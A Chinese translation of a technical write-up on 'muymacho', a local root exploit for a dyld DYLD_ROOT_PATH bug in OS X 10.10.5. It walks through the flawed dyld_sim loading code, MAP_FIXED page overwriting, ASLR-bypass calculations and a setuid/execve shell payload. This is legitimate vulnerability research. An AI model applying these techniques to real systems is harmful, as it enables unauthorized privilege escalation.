muymacho---dyld_root_path漏洞利用解析

wyzsk發表於2020-08-19
作者: vvun91e0n · 2015/11/12 12:06

from: https://luismiras.github.io/muymacho-exploiting_DYLD_ROOT_PATH/

muymacho是一個漏洞利用工具。存在於Mac OS X 10.10.5中dyld的bug可以用來提權至root。在最新的酋長石(EI Capitan 10.11)中已經被修補。

這是一個有趣的bug,利用過程也很好玩。本篇文章的目的就是介紹該利用的過程。你可以閱讀dyld的原始碼來跟隨我們一起探索其中的奧秘。我希望你能享受muymacho給你帶來的快樂。

...dyld_sim是一個Mach-O檔案,但是利用漏洞的過程將dyld_sim變成了muymacho :)

下面我們進入正題:

0x00 漏洞發現


該bug最初是在dyld-353.2.1(10.10.0-10.10.4)的原始碼審計中發現的,後來透過IDA pro對10.10.5更新的二進位制檔案分析發現bug依然存在。蘋果公司最終在9/17/2015釋出了10.10.5的原始碼。本文也進行了更新來涵蓋最新的dyld原始碼。

對dyld的興趣來自@i0n1c在7/20號釋出的挑戰。

我找到了與環境變數DYLD_PRINT_TO_FILE相關的bug並且寫了一個exploit。之後不久,i0n1c釋出了他的writeup和exploit。

當我在尋找DYLD_PRINT_TO_FILE漏洞的時候,我發現了一些有問題的程式碼。後來我又重新進行審計,發現了一個DYLD_ROOT_PATH的漏洞。我確信我是不第一個也不是唯一一個發現該漏洞的人。

注:我認為該漏洞可能已經被編號為CVE-2015-5876(提交者為grayhash的beist)。更多細節可以在附錄中的CVE號那一節中獲得。

DYLD_ROOT_PATH漏洞是本文的主題,在接下來幾節裡面進行詳細介紹。該漏洞已經在EI Capitan版本中進行修補。

dyld是OS X和iOS的動態聯結器。它和系統載入器(loader)一起協同來為一個程式的的執行做前期的準備工作。基本的步驟為:

  • 系統loader將二進位制檔案的page和dyld載入進記憶體
  • 控制權交給dyld,所有它可以載入和連線其他的庫和需要的的檔案到程式的地址空間
  • 程式載入完成,在記憶體的程式執行入口點開始執行

在一個擁有suid的二進位制檔案執行的時候,dyld會提權執行。二進位制並沒有實際開始執行,因此不能降低許可權。

更多細節可以參考linklink(dyld實際上比本文總結的要複雜的多)。

該漏洞與DYLD_ROOT_PATH環境變數的使用有關。下面是一段dyld主頁的摘要:

DYLD_ROOT_PATH This is a colon separated list of directories. The dynamic linker will prepend each of this directory paths to every image access until a file is found.

儘管上面的描述是真實的,但是還有一個增加的功能並沒有寫進文件。為了理解該功能,我們需要稍微討論一下iOS模擬器。與Android使用模擬器不同(執行ARM指令),iOS使用一個模擬器來執行x86_64編譯的程式。模擬器的一個步驟就是在dyld中使用特定的iOS模擬器版本來替換build的。這個特殊的版本被稱作dyld_sim。

為了使用dyld_sim,需要在執行程式的語句前將環境變數DYLD_ROOT_PATH設定到一個目錄中。具體如下:

#!bash
$ DYLD_ROOT_PATH=/Users/user/tmp crontab

上面的例子希望dyld_sim被設定到如下的目錄中

#!bash
/Users/user/tmp/usr/lib/dyld_sim

漏洞的細節在下節中講解。但是先提前透露點,關鍵就在於dyld_sim檔案的驗證不足。dyld_sim是一個Mach-O格式檔案,但是開發利用將dyld_sim變成了muymacho :)

0x01 漏洞


本文大多數的分析都是針對dyld-353.2.3(10.10.5)的dyld.cpp,除了在附錄裡面介紹10.10.4版本的那一節。這個bug看起來是在與OS X 10.9一起釋出的dyld-239.3中引入的。

漏洞程式碼存在於dyld.cpp:useSimulatorDyld()函式。如果一個dyld_sim檔案存在於DYLD_ROOT_PATH指向的目錄中,dyld_sim將會被開啟,開啟後返回的檔案描述符將會傳給useSimulatorDyld()

下面的程式碼取自dyld.cpp:_main()

#!c
strlcat(simDyldPath, "/usr/lib/dyld_sim", PATH_MAX);
   int fd = my_open(simDyldPath, O_RDONLY, 0);
   if ( fd != -1 ) {
      result = useSimulatorDyld(fd, mainExecutableMH, simDyldPath, argc, argv, envp, apple, startGlue);
      if ( !result && (*startGlue == 0) )
         halt("problem loading iOS simulator dyld");

下面給出了useSimulatorDyld()的全部程式碼。它處理和載入dyld_sim。需要指出的是useSimulatorDyld()函式中任何的失敗都會導致程式的停止。

#!c
__attribute__((noinline))static uintptr_t useSimulatorDyld(int fd, const macho_header* mainExecutableMH, const char* dyldPath, 
                int argc, const char* argv[], const char* envp[], const char* apple[], uintptr_t* startGlue){
  *startGlue = 0;

  // verify simulator dyld file is owned by root
  struct stat sb;
  if ( fstat(fd, &sb) == -1 )
    return 0;    

  // read first page of dyld file
  uint8_t firstPage[4096];
  if ( pread(fd, firstPage, 4096, 0) != 4096 )
    return 0;

  // if fat file, pick matching slice
  uint64_t fileOffset = 0;
  uint64_t fileLength = sb.st_size;
  const fat_header* fileStartAsFat = (fat_header*)firstPage;
  if ( fileStartAsFat->magic == OSSwapBigToHostInt32(FAT_MAGIC) ) {
    if ( !fatFindBest(fileStartAsFat, &fileOffset, &fileLength) ) 
      return 0;
    // re-read buffer from start of mach-o slice in fat file
    if ( pread(fd, firstPage, 4096, fileOffset) != 4096 )
      return 0;
  }
  else if ( !isCompatibleMachO(firstPage, dyldPath) ) {
    return 0;
  }

  // calculate total size of dyld segments
  const macho_header* mh = (const macho_header*)firstPage;
  uintptr_t mappingSize = 0;
  uintptr_t preferredLoadAddress = 0;
  const uint32_t cmd_count = mh->ncmds;
  const struct load_command* const cmds = (struct load_command*)(((char*)mh)+sizeof(macho_header));
  const struct load_command* cmd = cmds;
  for (uint32_t i = 0; i < cmd_count; ++i) {
    switch (cmd->cmd) {
      case LC_SEGMENT_COMMAND:
        {
          struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
          mappingSize += seg->vmsize;
          if ( seg->fileoff == 0 )
            preferredLoadAddress = seg->vmaddr;
        }
        break;
    }
    cmd = (const struct load_command*)(((char*)cmd)+cmc->cmdsize);
  }    

  // reserve space, then mmap each segment
  vm_address_t loadAddress = 0;
  uintptr_t entry = 0;
  if ( ::vm_allocate(mach_task_self(), &loadAddress, mappingSize, VM_FLAGS_ANYWHERE) != 0 )
    return 0;
  cmd = cmds;
  struct linkedit_data_command* codeSigCmd = NULL;
  for (uint32_t i = 0; i < cmd_count; ++i) {
    switch (cmd->cmd) {
      case LC_SEGMENT_COMMAND:
        {
          struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
          uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
          void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
          //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
          if ( segAddress == (void*)(-1) )
            return 0;
        }
        break;
      case LC_UNIXTHREAD:
        {
        #if __i386__
          const i386_thread_state_t* registers = (i386_thread_state_t*)(((char*)cmd) + 16);
          entry = (registers->__eip + loadAddress - preferredLoadAddress);
        #elif __x86_64__
          const x86_thread_state64_t* registers = (x86_thread_state64_t*)(((char*)cmd) + 16);
          entry = (registers->__rip + loadAddress - preferredLoadAddress);
        #endif
        }
        break;
      case LC_CODE_SIGNATURE:
        codeSigCmd = (struct linkedit_data_command*)cmd;
        break;
    }
    cmd = (const struct load_command*)(((char*)cmd)+cmc->cmdsize);
  }

  if ( codeSigCmd == NULL )
    return 0;    

  fsignatures_t siginfo;
  siginfo.fs_file_start=fileOffset;             // start of mach-o slice in fat file 
  siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff); // start of code-signature in mach-o file
  siginfo.fs_blob_size=codeSigCmd->datasize;          // size of code-signature
  int result = fcntl(fd, F_ADDFILESIGS_FOR_DYLD_SIM, &siginfo);
  if ( result == -1 ) {
    dyld::log("fcntl(F_ADDFILESIGS_FOR_DYLD_SIM) failed with errno=%d\n", errno);
    return 0;
  }    

  close(fd);    

  // notify debugger that dyld_sim is loaded
  dyld_image_info info;
  info.imageLoadAddress = (mach_header*)loadAddress;
  info.imageFilePath    = strdup(dyldPath);
  info.imageFileModDate = sb.st_mtime;
  addImagesToAllImages(1, &info);
  dyld::gProcessInfo->notification(dyld_image_adding, 1, &info);

  // jump into new simulator dyld
  typedef uintptr_t (*sim_entry_proc_t)(int argc, const char* argv[], const char* envp[], const char* apple[],
                const macho_header* mainExecutableMH, const macho_header* dyldMH, uintptr_t dyldSlide,
                const dyld::SyscallHelpers* vtable, uintptr_t* startGlue);
  sim_entry_proc_t newDyld = (sim_entry_proc_t)entry;
  return (*newDyld)(argc, argv, envp, apple, mainExecutableMH, (macho_header*)loadAddress, 
           loadAddress - preferredLoadAddress, 
           &sSysCalls, startGlue);}

useSimulatorDyld()的目的是載入dyld_sim,執行一些檢查,然後將控制權交給dyld_sim。dyld_sim開始執行,原來的dyld就被取代。

我們可以從上面的程式碼知道,useSimulatorDyld()做了以下幾件事:

  1. 讀取Mach-O頭
  2. 迴圈處理LC_SEGMENT_64命令並且計算出全部資料的大小
  3. vm_allocate()申請記憶體
  4. mmap()將segment段都讀取進記憶體
  5. 驗證程式碼簽名
  6. 跳轉到dyld_sim的入口

muymacho利用的就是從10.9就存在的DYLD_ROOT_PATH漏洞。從10.10.4起,又增加一個可以進行攻擊的向量,但是在10.10.5中被修補。 聰明的讀者可以發現漏洞存在於dyld_sim的Mach-O頭的處理過程中。一個畸形的Mach-O檔案可以導致記憶體段被替換,從而導致任意程式碼執行,這一切都發生在簽名驗證之前。

為了說明mach-O檔案載入進記憶體是如何進行的,我們需要複習一下Mach-O的知識。蘋果提供了一份完整的Mach-O說明文件。我們將相關的兩個結構定義放在了下面,其中最為重要的是segment_command_64。

#!c
/* * The 64-bit mach header appears at the very beginning of object files for * 64-bit architectures. */
struct mach_header_64 {
   uint32_t      magic;      /* mach magic number identifier */
   cpu_type_t    cputype;    /* cpu specifier */
   cpu_subtype_t cpusubtype; /* machine specifier */
   uint32_t      filetype;   /* type of file */
   uint32_t      ncmds;      /* number of load commands */
   uint32_t      sizeofcmds; /* the size of all the load commands */
   uint32_t      flags;      /* flags */
   uint32_t      reserved;   /* reserved */
};
/* * The 64-bit segment load command indicates that a part of this file is to be * mapped into a 64-bit task's address space.  If the 64-bit segment has * sections then section_64 structures directly follow the 64-bit segment * command and their size is reflected in cmdsize. */
struct segment_command_64 { /* for 64-bit architectures */
   uint32_t   cmd;          /* LC_SEGMENT_64 */
   uint32_t   cmdsize;      /* includes sizeof section_64 structs */
   char       segname[16];  /* segment name */
   uint64_t   vmaddr;       /* memory address of this segment */
   uint64_t   vmsize;       /* memory size of this segment */
   uint64_t   fileoff;      /* file offset of this segment */
   uint64_t   filesize;     /* amount to map from the file */
   vm_prot_t  maxprot;      /* maximum VM protection */
   vm_prot_t  initprot;     /* initial VM protection */
   uint32_t   nsects;       /* number of sections in segment */
   uint32_t   flags;        /* flags */
};

首先,useSimulatorDyld()需要提取Mach-O頭。可以在原始碼中看到,在處理胖格式(Universal binary)的初始化程式碼來確定確定實際Mach-O頭的位置。dyld然後讀取一頁(0x1000bytes)的資料,其中包含該Mach-O頭。

載入了Mach-O頭之後,useSimulatorDyld()處理載入命令。透過兩個迴圈來處理如LC_SEGMENT_64, LC_UNIXTHREAD和 LC_CODE_SIGNATURE之類的載入命令。 第一個迴圈處理顯示如下。處理LC_SEGMENT_64載入命令。計算出vmsize的總大小,確定preferredLoadAddress。如果沒有segment段的fileoff項為0,那麼preferredLoadAddress預設設定為0。

#!c
for (uint32_t i = 0; i < cmd_count; ++i) {
      switch (cmd->cmd) {
         case LC_SEGMENT_COMMAND: // <-- Note: defined in a macro as LC_SEGMENT_64 
            {
               struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
               mappingSize += seg->vmsize;
               if ( seg->fileoff == 0 )
                  preferredLoadAddress = seg->vmaddr;
            }
            break;
      }
      cmd = (const struct load_command*)(((char*)cmd)+cmc->cmdsize);
   }

在mappingSize計算出來後呼叫vm_allocate()。分配記憶體的地址被儲存在loadAddress變數中。如果分配失敗,useSimulatorDyld()函式退出。

#!c
if ( ::vm_allocate(mach_task_self(), &loadAddress, mappingSize, VM_FLAGS_ANYWHERE) != 0 )
      return 0;

分配記憶體之後,就到了第二個迴圈,相關程式碼如下。這個迴圈同樣解析LC_UNIXTHREAD,LC_CODESIGNATURE載入命令,但是與漏洞無關。 導致漏洞產生的是這個載入命令:LC_SEGMENT_64。

#!c
case LC_SEGMENT_COMMAND: // <- this is defined in a macro as LC_SEGMENT_64
   {
      struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
      uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
      void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
      //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
      if ( segAddress == (void*)(-1) )
         return 0;
   }

看程式碼可以發現,這個case段的程式碼功能是載入segment段到最新分配的記憶體中去。但是,這個LC_SEGMENT_64載入命令幾乎沒有進行任何驗證。具體說就是這段程式碼計算出requestedLoadAddress的引數,是來自Macho-O完全可控的區域的。

#!c
uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;

prederredLoadAddress預設是0,剩下只有loadAddress和seg->vmaddr起作用了。下面是一個簡化的等式。這個等式將會以不同的形式貫穿於本文。

#!c
requestedLoadAddress = seg->vmaddr + loadAddress

seg->vmaddr是直接從segment段命令獲取,之後加上loadAddress(由vm_allocate設定)。一部分已經受到控制的requestedLoadAddress變數最後作為引數傳給mmap。

mmap使用了一些有趣的flag。特別是MAP_FIXED。下面是一段mmap手冊的摘錄

MAP_FIXED Do not permit the system to select a different address than the one specified. If the specified address cannot be used, mmap() will fail. If MAP_FIXED is specified, addr must be a multiple of the pagesize. If a MAP_FIXED request is successful, the mapping established by mmap() replaces any previous mappings for the process’ pages in the range from addr to addr + len. Use of this option is discouraged.

(不讓系統在給出的地址外選擇其他的地址。如果給出的地址不能使用,mmap()函式返回失敗。如果宣告瞭MAP_FIXED,地址必須是頁面大小的倍數。如果一個MAP_FIXED請求成功,mmap()進行載入,會替換該程式之前在addr到addr+len之間的任何載入對映。使用這個選項是不被推薦的。)

關鍵詞是 “替換任何之前的記憶體對映”。無論是堆,還是棧,甚至是執行程式碼都會被替換。一個攻擊者可以建立一個Mach-O檔案。對其LC_SEGMENT_64 載入命令進行構造。這不僅僅是控制requestedLoadAddress,而且可以完全控制頁面許可權,filesize和fileoff。

在偵錯程式中手工測試證明了mmap()呼叫後可以成功替換可執行頁。

0x02 利用分析


如下是一個欺騙要素表單,提供一份對不同的定義和詞語的快速參考。

CHEAT SHEET

loadAddress address returned by vm_allocate()

vmaddr segment’s vmaddr value (seg->vmaddr)

mmap_equation requestedLoadAddress = vmaddr + loadAddress

擁有了替換記憶體可執行頁的能力,利用漏洞就變得相對簡單了。ROP也沒必要了,因為我們可以控制新載入的可執行記憶體頁的內容。我們的需要覆蓋的目標頁將是dyld裡面擁有mmap系統呼叫的那一頁。如果現在的OS X作業系統沒有ASLR,這些就不重要了。我們首先進行沒有ASLR的利用分析。然後再考慮如何繞過它。

因為dyld是動態聯結器,所有它需要自我包含。dyld擁有它需要使用的所有系統呼叫。useSimulatorDyld()函式呼叫::mmap()函式(包裝了__mmap())。

00007FFF5FC2693E           mov     r12d, ecx
00007FFF5FC26941           mov     r8d, r15d
00007FFF5FC26944           call    ___mmap
00007FFF5FC26949           mov     rbx, rax
00007FFF5FC2694C           lea     rax, ___syscall_logger

__mmap()函式包含了mmap系統呼叫。

00007FFF5FC26DBC ___mmap   proc near               ; CODE XREF: _mmap+31p
00007FFF5FC26DBC           mov     eax, 20000C5h
00007FFF5FC26DC1           mov     r10, rcx
00007FFF5FC26DC4           syscall
00007FFF5FC26DC6           jnb     short locret_7FFF5FC26DD0

當mmap系統呼叫返回的時候,指令指標將會指向地址0x7fff5fc26dc6。傳給mmap一個0x7fff5fc26000的requestedLoadAddress引數。mmap將會替換我們的包含mmap系統呼叫的目標記憶體頁。當新的segment段被載入,程式將開始執行我們的程式碼。

#!c
uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;

簡化的mmap等式為:(preferredLoadAddress預設值為0)

requestedLoadAddress = seg->vmaddr + loadAddress

如果我們回憶一下,會發現loadAddress是由vm_allocate函式設定的。如下所示,vm_allocate返回的地址就在基礎程式頁之後。舉例,crontab生成一個如下的記憶體分佈:

==== regions for process 44045  (non-writable and writable regions are interleaved)
REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
mapped file            0000000100000000-0000000100005000 [   20K] r-x/rwx SM=COW  /Users/user/tmp/crontab
mapped file            0000000100005000-0000000100006000 [    4K] rw-/rwx SM=COW  /Users/user/tmp/crontab
mapped file            0000000100006000-0000000100009000 [   12K] r--/rwx SM=COW  /Users/user/tmp/crontab
VM_ALLOCATE (reserved) 0000000100009000-0000000100029000 [  128K] rw-/rwx SM=NUL  reserved VM address space (unallocated)
STACK GUARD            00007fff5bc00000-00007fff5f400000 [ 56.0M] ---/rwx SM=NUL  stack guard for thread 0
Stack                  00007fff5f400000-00007fff5fbff000 [ 8188K] rw-/rwx SM=PRV  thread 0
Stack                  00007fff5fbff000-00007fff5fc00000 [    4K] rw-/rwx SM=COW
__TEXT                 00007fff5fc00000-00007fff5fc37000 [  220K] r-x/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff5fc37000-00007fff5fc3a000 [   12K] rw-/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff5fc3a000-00007fff5fc70000 [  216K] rw-/rwx SM=PRV  /usr/lib/dyld
__LINKEDIT             00007fff5fc70000-00007fff5fc84000 [   80K] r--/rwx SM=COW  /usr/lib/dyld
shared memory          00007fffffe00000-00007fffffe01000 [    4K] r--/r-- SM=SHM
shared memory          00007fffffeed000-00007fffffeee000 [    4K] r-x/r-x SM=SHM

如上記憶體分佈,loadAddress是0x100009000(VM_ALLOCATE)。如果將seg->vmaddr設定為0x7ffe5fc1d000,那麼將會替換dyld可執行頁在地址0x7fff5fc26000。

seg->vmaddr = requestedLoadAddress - loadAddress
seg->vmaddr = 0x7fff5fc26000 - 0x100009000
seg->vmaddr = 0x7ffe5fc1d000

我們可以構建一個Mach-O檔案,使得它的seg->vmaddr值為0x7ffe5fc1d000。這樣目的就可以實現。

以上的記憶體分佈和計算都是在沒有ASLR的情況下進行的,目的是為了討論更為簡單。下一節將討論ASLR的繞過。

0X03 ASLR繞過


下面是一個升級版的欺騙要素表單。

CHEAT SHEET

loadAddress        address returned by vm_allocate()

vmaddr                segment’s vmaddr value (seg->vmaddr)

dyld_target dyld page we are targetting (contains the mmap syscall)

mmap_equation    requestedLoadAddress = vmaddr + loadAddress

ASLR slide     random offset applied to memory regions 0x0000000 to 0xffff000 bytes (0 to 0xffff pages)

之前的一節忽略了ASLR,但這是必須面對的。ASLR新增偏移到各種記憶體區域,包括可執行頁,棧和dyld的可執行頁。為了抵禦攻擊,導致記憶體地址不固定了。

下面是一個開啟了ASLR的記憶體佈局例項。注意dyld沒有載入到它的首選偏移上,與之前的記憶體分佈不一樣,實際上它偏移為0x9f40000 bytes。

==== regions for process 44357  (non-writable and writable regions are interleaved)
REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
mapped file            0000000102da7000-0000000102dac000 [   20K] r-x/rwx SM=COW  /usr/bin/crontab
mapped file            0000000102dac000-0000000102dad000 [    4K] rw-/rwx SM=COW  /usr/bin/crontab
mapped file            0000000102dad000-0000000102db0000 [   12K] r--/rwx SM=COW  /usr/bin/crontab
VM_ALLOCATE (reserved) 0000000102db0000-0000000102dd0000 [  128K] rw-/rwx SM=NUL  reserved VM address space (unallocated)
STACK GUARD            00007fff58e59000-00007fff5c659000 [ 56.0M] ---/rwx SM=NUL  stack guard for thread 0
Stack                  00007fff5c659000-00007fff5ce58000 [ 8188K] rw-/rwx SM=ZER  thread 0
Stack                  00007fff5ce58000-00007fff5ce59000 [    4K] rw-/rwx SM=COW
__TEXT                 00007fff69b09000-00007fff69b40000 [  220K] r-x/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff69b40000-00007fff69b43000 [   12K] rw-/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff69b43000-00007fff69b79000 [  216K] rw-/rwx SM=PRV  /usr/lib/dyld
__LINKEDIT             00007fff69b79000-00007fff69b8d000 [   80K] r--/rwx SM=COW  /usr/lib/dyld
shared memory          00007fffffe00000-00007fffffe01000 [    4K] r--/r-- SM=SHM
shared memory          00007fffffeed000-00007fffffeee000 [    4K] r-x/r-x SM=SHM

其他記憶體區域包含偏移。crontab基礎二進位制檔案擁有一個0xda7000byte偏移。同樣的偏移應用在loadAddress(VM_ALLOCATE區)。

0x04 記憶體區塊和範圍


利用分析一節解決了vmaddr的取值問題,使得當加上loadAddress之後就可以替換dyld的目標可執行頁。我們的目的沒有變, 希望能用我們的內容覆蓋dyld的目標頁。然而我們記憶體地址不再是固定的地址。我們執行環境的地址是在有限的地址範圍內變化的。

在制定一個攻擊計劃之前,我們需要確定記憶體的變化範圍是多少。使用ASLR後,可能的地址範圍變為:

  • loadAddress: 0x100009000 to 0x110008000 (max ASLR slide = 0x0ffff000)
  • dyld_target: 0x7fff5fc26000 - 0x7fff6fc25000 (max ASLR slide = 0x0ffff000)

下一步,我們計算vmaddr的可能取值範圍。我們希望mmap能覆蓋dyld的目標頁,所以用dyld_target取值範圍替換mmap等式中的requestedLoadAddress:

vmaddr = dyld_target - loadAddress

為了確定vmaddr的範圍,我們需要最小值和最大值。接下來的圖顯示瞭如何來計算:

圖左側顯示了最小的vmaddr,它使用了dyld_target的最小值和loadAddress的最大值:

vmaddr_min = (dyld_target + ASLR_slide_min) - (loadAddress + ASLR_slide_max)vmaddr_min = (0x7fff5fc26000 + 0x00000000) - (0x100009000 + 0x0ffff000)vmaddr_min = 0x7fff5fc26000 - 0x110008000vmaddr_min = 0x7ffe4fc1e000

圖右側顯示了最大的vmaddr,它使用了dyld_target的最大值和loadAddress的最小值:

vmaddr_max = (dyld_target + ASLR_slide_max) - (loadAddress + ASLR_slide_min)vmaddr_max = (0x7fff5fc26000 + 0x0ffff000) - (0x100009000 + 0x00000000)vmaddr_max = 0x7fff6fc25000 - 0x100009000vmaddr_max = 0x7ffe6fc1c000

vmaddr的範圍為0x7ffe4fc1e000至0x7ffe6fc1c000。整個大小為0x1fffe000 bytes(為ASLR最大偏移的2倍)。

為了增強漏洞利用的穩定性,全部的記憶體範圍都要需要被載入。從單一的segment段中載入整個範圍是不可能的(沒人想要一個500+MB的exploit!),所以我們使用多個segment段。

0x05 潛在問題


在這裡,我們需要解釋一些更多的問題:

  • 需要多少的segment段?
  • mmap會失敗返回嗎?
  • 會發生不可預料的記憶體問題嗎?

需要多少的segments段?

Mach-O頭只能讀取僅僅一頁(0x1000 bytes ) ,mach_header_64結構有0x20bytes大,segment_command_64結構有72bytes,所以最多隻能有56個segment((4096-32)/72=56)。為了簡化計算,muymacho使用了32個segment段。所有的segment的fileoff成員變數都指向同一塊資料(0x1000000bytes)。

這32個segment將會覆蓋全部的vmaddr範圍(0x1fffe000),還多一頁剩餘。

所以需要32個segment。

mmap會失敗返回嗎?

useSimulatorDyld()中呼叫mmap的部分程式碼如下所示。注意如果mmap失敗,useSimulatorDyld()函式就退出。

#!c
void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
   //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
   if ( segAddress == (void*)(-1) )
      return 0;

mmap申請的記憶體如果超出了使用者空間(大於0x7fffffffffff)就會失敗。我們需要保證下面的限制:

requestedLoadAddress + seg->filesize < 0x7fffffffffff

由於ASLR,我們不知道真實的loadAddress和dyld_target地址。我們計算出了vmaddr的最小值(0x7ffe4fc1e000)和最大值(0x7ffe6fc1c000),以此來對抗ASLR。

我們來計算最大的requestedLoadAddress,使用mmap等式,代入最大的vmaddr值和最大的loadAddress。

requestedLoadAddress = vmaddr + loadAddressrequestedLoadAddress = 0x7ffe6fc1c000 + (loadAddress + 0x0ffff000)requestedLoadAddress = 0x7ffe6fc1c000 + (0x100009000 + 0x0ffff000)requestedLoadAddress = 0x7ffe6fc1c000 + 0x110008000 requestedLoadAddress = 0x7fff7fc24000

requestedLoadAddress的值為0x7fff7fc24000能很好的滿足使用者空間限定。seg->filesize需要大於0x803dbfff才能導致mmap呼叫失敗。這顯然不會發生。

會發生不可預料的記憶體問題嗎?

載入如此大的segment(0x1000000)可能會引起某些疑慮,問題可以這樣理解:

  1. 當我們替換dyld_target的時候會破壞棧嗎?
  2. 如果我們覆蓋了一部分dyld的頁會發生什麼?

在下一節實踐中將會說明muymacho使用了由高至低策略。這種方法保證高地址先被替換。棧的地址低於dyld_target頁面地址,在一個安全的距離上,所以棧是安全的:)

是否有這種可能,只有一部分的dyld頁從一個segment載入,其餘的頁會在之後由下一個段載入。這有關係嗎?不。

mmap系統呼叫,包裝之後的函式,和useSimulatorDyld()裡面的主要解析迴圈都被包含在dyld_target頁中。useSimulatorDyld()的其他部分在下一個低地址頁裡面。

所以一切都沒問題。

0x06 實踐


muymacho使用了32個segments來覆蓋一個0x20000000bytes大小的地址。這保證了所有的ASLR記憶體範圍都被覆蓋了。Segments將會不停載入直至dyld_target被覆蓋。在那裡我們的程式碼將會取得控制權。

採用由高至低的策略是為了防止不必要的記憶體破壞,尤其是棧。第一個segment使用最大的vmaddr值。接下來的segments使用小一點的值。保證整個範圍被覆蓋。接下來的圖提供了一個例子。記住這不是成比例的。dyld_target只是一個頁而segment是4096個頁。

最終dyld_target將會被覆蓋,程式碼將會得到執行。一旦dyld_target頁被覆蓋,控制權就會隨著mmap呼叫的返回而立即獲得。

0x07 最大vmaddr


muymacho中使用的最大的vmaddr不同於我們之前計算的。下面的函式計算了這個最大vmaddr。

#!c
def maximum_vmaddr(segment_size):
    '''    returns the maximum vmaddr        the function assumes the base binary is 9 pages long    as is the case for crontab giving a     loadAddress_min of 0x100009000        if attacking other suid programs, this value should    be adjusted. in reality a few pages here or there    won't have a noticeable effect.    '''
    dyld_target = 0x7fff5fc26000
    loadAddress_min = 0x100009000 
    aslr_slide_max = 0x0ffff000    

    dyld_target_max = dyld_target + aslr_slide_max
    maximum_offset = dyld_target_max - loadAddress_min    

    # Only one page from the payload needs to hit the maximum offset.
    vmaddr = maximum_offset - segment_size + 0x1000      

    return vmaddr

唯一的不同之處在於下面的程式碼:

#!c
# Only one page from the payload needs to hit the maximum offset.
    vmaddr = maximum_offset - segment_size + 0x1000

原始的vmaddr最大值計算假設我們是載入到單個頁中。我們實際上是每次載入4096個頁。

調整計算方法來適應只載入一頁在最大vmaddr。不然我們就會浪費那些永遠不會覆蓋dyld_target的頁。

下面的圖可能能說明這個概念:

左側的圖是顯示的原始的最大vmaddr(0x7ffe6fc1c000)覆蓋可能的最高的dyld_target。其他的所有頁都是多餘的,因為我們已經在可能的最大vmaddr值和dyld_target最高地址。這個segment中只有一頁可能覆蓋到dyld_target。

右側的圖是調整後的vmaddr(0x7ffe6ec1d000)。這個segment段將覆蓋到可能的最高dyld_target。所有的4096segment頁可以覆蓋所有的可能dyld_target頁。

0x08 載荷Payload


在繞過ASLR那一節中,我們實現了一定了覆蓋dyld_target。payload有0x1000000大,即4096個頁。其中的一個頁將覆蓋到dyld_target頁。

dyld的mmap系統呼叫顯示如下:

00007FFF5FC26DBC ___mmap   proc near               ; CODE XREF: _mmap+31p
00007FFF5FC26DBC           mov     eax, 20000C5h
00007FFF5FC26DC1           mov     r10, rcx
00007FFF5FC26DC4           syscall
00007FFF5FC26DC6           jnb     short locret_7FFF5FC26DD0

當mmap系統呼叫返回時,將會從頁內的0xdc6處開始執行。因為rax為返回值,它會儲存最新載入記憶體的基地址,換句話說,rax指向我們payload的開始處。

所有4096個payload頁的0xdc6處,都是一個jmp rax指令。payload開始處的第一頁在0x00偏移處包含一段shellcode。

下圖顯示了基地址頁(payload的地址最低的第一頁)和標準頁(4096也都有的內容)。

不必考慮哪一頁會覆蓋掉dyld_target,jmp rax指令都會將執行跳轉到shellcode。

shellcode將會執行一條setuid(0)系統呼叫,然後執行execve(/bin/sh'')系統呼叫。啟動一個sh。

0x09 完成利用


  1. 我們的目標是覆蓋dyld_target,該頁是dyld中包含mmap系統呼叫的那一頁。
  2. 我們使用32個segment覆蓋0x20000000 bytes來繞過ASLR。
    • 我們使用由高至低的策略
    • 第一個segment的vmaddr是0x7ffe6ec1d000
    • 後面的segment擁有更小(0x1000000)vmaddr
  3. 所有segment指向payload同樣的4096個頁
    • 所有頁在偏移0xdc6處都是jmp rax指令
    • 基礎頁裡面包含我們的shellcode

muymacho是由python編寫,在github釋出。在MachoFile和LC_SEGMENT_64類中進行了最小限度的Mach-O實現。建立了一個dyld_sim檔案,包含32個segment。所有都指向payload。

muymacho使用時,輸入一個基目錄路徑,會自動生成需要的目錄結構和dyld_sim檔案。實際的利用需要設定DYLD_ROOT_PATH到一個目錄,並執行一個suid的二進位制檔案。下面是一個執行的例子。

#!bash
[email protected]:~/tmp$ python muymacho.py ~/tmp
muymacho.py - exploit for DYLD_ROOT_PATH vuln in OS X 10.10.5
Luis Miras @_luism    

[+] using base_directory: /Users/user/tmp
[+] creating dir: /Users/user/tmp/usr/lib
